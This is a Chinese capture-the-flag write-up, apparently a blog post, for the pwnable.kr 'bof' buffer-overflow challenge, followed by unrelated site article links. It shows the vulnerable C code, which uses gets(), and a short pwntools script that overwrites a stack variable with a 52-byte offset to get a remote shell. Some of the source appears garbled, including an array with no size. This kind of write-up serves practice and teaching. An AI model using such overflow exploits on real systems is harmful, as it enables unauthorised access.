打开题目:

先下载题目给我们的两个文件,查看文件信息:

发现没有执行的权限,所以先增加文件bof的执行权限,执行:

没发现啥,然后查看代码,

 #include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return ;
}

观察代码,知道只要使key==0xcafebabe就可拿到shell,然后查看flag。

所以开始调试找偏移。

调试后知道偏移为52,所以写一个python程序,代码为

from pwn import *
p=remote('pwnable.kr',9000)
payload='a'*52+'\xbe\xba\xfe\xca'
p.sendline(payload)
p.interactive()

拿到shell,输入cat flag,拿到flag

最新文章

  1. 初入网络系列笔记(5)FTP协议
  2. JdbcTemplate进行查询
  3. CRC 冗余校验计算
  4. bzoj 1066: [SCOI2007] 蜥蜴
  5. easy_painting
  6. OC - 22.隐式动画
  7. apache配置多站点
  8. mysql之ALTER COLUMN、CHANGE COLUMN、MODIFY COLUMN的区别
  9. 关闭QQ右下角弹窗小程序
  10. 【C#】 break continue return 的区别
  11. jQuery图片无缝轮播
  12. Docker 部署 portainer
  13. 国网电表dlt645-2007抄表软件
  14. word2vec 中的数学原理二 预备知识 霍夫曼树
  15. border可以这样给控件加边框
  16. Linux Shell常用技巧(二)
  17. Swift2.0语言教程之类的属性
  18. 控件属性和InitializeComponent()关系:
  19. 洛谷P1341 最受欢迎的奶牛
  20. redis哨兵集群、docker入门

热门文章

  1. XCTF-WEB-高手进阶区-PHP2-笔记
  2. 如何使用screen命令
  3. 调试备忘录-J-Link RTT的使用(原理 + 教程 + 应用 + 代码)
  4. 初 识 eric4
  5. AS 新电脑clone项目报错:Clone failed: Authentication failed for &#39;https://gitee.com/XXX/Demo.git/&#39;
  6. git操作练习
  7. I帧B帧P帧
  8. 第五篇Scrum冲刺博客--Interesting-Corps
  9. Soft-to-Hard Vector Quantization for End-to-End Learning Compressible Representations
  10. Logistic回归分析之二元Logistic回归